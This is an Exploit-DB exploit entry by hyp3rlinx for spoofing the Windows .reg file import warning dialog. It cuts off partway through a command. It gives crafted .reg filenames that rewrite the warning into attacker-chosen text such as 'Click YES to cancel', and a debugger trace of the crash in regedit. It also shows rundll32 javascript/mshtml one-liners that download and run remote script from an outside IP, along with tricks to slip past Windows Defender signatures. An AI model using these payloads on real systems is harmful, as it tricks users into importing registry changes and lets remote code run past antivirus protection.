Exploit-DB #50653
Description: Microsoft Windows .Reg File - Dialog Spoof / Mitigation Bypass
Type: local
Platform: windows
Date: 2022-01-12
Author: hyp3rlinx

Exploit:
# Exploit Title: Microsoft Windows .Reg File - Dialog Spoof / Mitigation Bypass
# Exploit Author: John Page (aka hyp3rlinx)
# Website: hyp3rlinx.altervista.org
# Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_REG_FILE_DIALOG_SPOOF_MITIGATION_BYPASS.txt
# twitter.com/hyp3rlinx
# ISR: ApparitionSec

[Vendor]
www.microsoft.com

A file with the .reg file extension is a Registration file used by the Windows registry. These files can contain hives, keys, and values.
.reg files can be created from scratch in a text editor or can be produced by the Windows registry when backing up parts of the registry.


[Vulnerability Type]
Windows .Reg File Dialog Spoof - Mitigation Bypass


[CVE Reference]
N/A

[Security Issue]
Back in 2019 I disclosed a novel way to spoof the Windows registry dialog warning box to display an attacker controlled message.
This spoofing flaw lets us spoof the "Are you sure you want to continue?" warning message to instead read "Click Yes to abort" or
whatever else an attacker would like to display.

This flaw can potentially make users think they are canceling the registry import when they are in fact importing it, as we can make the
registry security warning dialog box LIE to them as the warning messages are now under an attacker's control.

The way it works is using a specially crafted .Reg filename, this allows control of the registry warning dialog message presented to an end user.

Recently, I noticed in 2022 .Reg file dialog spoof no longer works on Windows 10, but instead triggers an access violation in Regedit.exe.
Therefore, something has changed in the OS, possibly a silent mitigation hmmm. Wouldn't be the first time, back in 2016 my msinfo32.exe
.NFO file XXE injection vulnerability report had a similar fate, fixed with no CVE or bulletin and that one allowed remote file access data theft.

In an threatpost.com interview in 2019, Microsoft stated "The issue submitted does not meet the severity bar for servicing via a security update"
Reference: https://threatpost.com/windows-bug-spoof-dialog-boxes/142711

However, the "fix" is easily bypassed and the old payload can still be made to work across systems.

Bypassing .Reg spoofing fix was only the start, I had to find ways to bypass two different Windows Defender detections along the way for the PoC.

Trojan:Win32/Powessere.G
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FPowessere.G%21lnk&ThreatID=[PII_REDACTED]

Backdoor:JS/Relvelshe.A
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/Relvelshe.A&ThreatID=[PII_REDACTED]

Lets begin...

My original .Reg file spoofing payload of 2019, now triggers an access violation and crashes regedit.exe from invalid pointer read.

00007FFE7A4A7C83 | EB 0D                    | jmp ntdll.7FFE7A4A7C92                   |
00007FFE7A4A7C85 | FF C9                    | dec ecx                                  | ;This loops thru to read in the  path + filename
00007FFE7A4A7C87 | 66 45 39 5D 00           | cmp word ptr ds:[r13],r11w               | ;ACCESS VIOLATION HERE
00007FFE7A4A7C8C | 74 08                    | je ntdll.7FFE7A4A7C96                    | ;Move the string down two bytes
00007FFE7A4A7C8E | 49 83 C5 02              | add r13,2                                | r13:L"10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"
00007FFE7A4A7C92 | 85 C9                    | test ecx,ecx  

00007FFE7A4A7C87 | 66 45 39 5D 00           | cmp word ptr ds:[r13],r11w               | ; BOOM ACCESS VIOLATION on Win10, but not Win7

ntdll!woutput_l+0x387:
00007ffe`7a4a7c87 6645395d00      cmp     word ptr [r13],r11w ds:000001ed`00000000=????
========================================================================================================================================

Online search shows Win-7 still makes up about 22% of the world's computers, so I ask my friend Security researcher Eduardo Braun Prado (Edu_Braun_0day)
to help me re-test the .REG file spoof on Windows 7 for completeness. Turns out my original payload still works on Win-7 and with minor tweaks on Win-10.

Original works on Win-7, but crashes regedit.exe on Win-10:
Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg

Original payload (first mitigation bypass) works Win-7/Win-10:
Remove second to last byte (%1) before the %0 string terminator and %b characters Windows_Reg_Spoof_Mitigation_Bypass.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg

New payload mitigation bypass works on both Win-7 and Win-10:
Windows_Reg_Spoof_Mitigation_Bypass.%n%nClick YES to cancel%0.reg

However, we are NOT done yet as we must deal with Windows Defender detection preventions.

1) Trojan:Win32/Powessere.G
2) Backdoor:JS/Relvelshe.A

Bypassing "Trojan:Win32/Powessere.G"
=====================================
Two components required to defeat Trojan:Win32/Powessere.G detection in Windows Defender.

A) extra path traversal when referencing mshtml ..\\..\\..\\
B) concatenation when constructing the remote server URL scheme "script"+":"+"http.

FAIL on current updated Windows 10
C:\>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(1)
Access is denied.

SUCCESSFUL on current updated Windows 10
Using an extra ..\ results in a bypass, but does nothing useful just an alert box.
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";alert(1)

Trying to download and execute remote code using the payload below fails again, as we need the second component URL scheme concat.
C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.1.45/hi.tmp")
Access is denied.

Jscript concatenation of the URL scheme.
document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")

Successfully bypasses "Trojan:Win32/Powessere.G" detection!
C:\>rundll32.e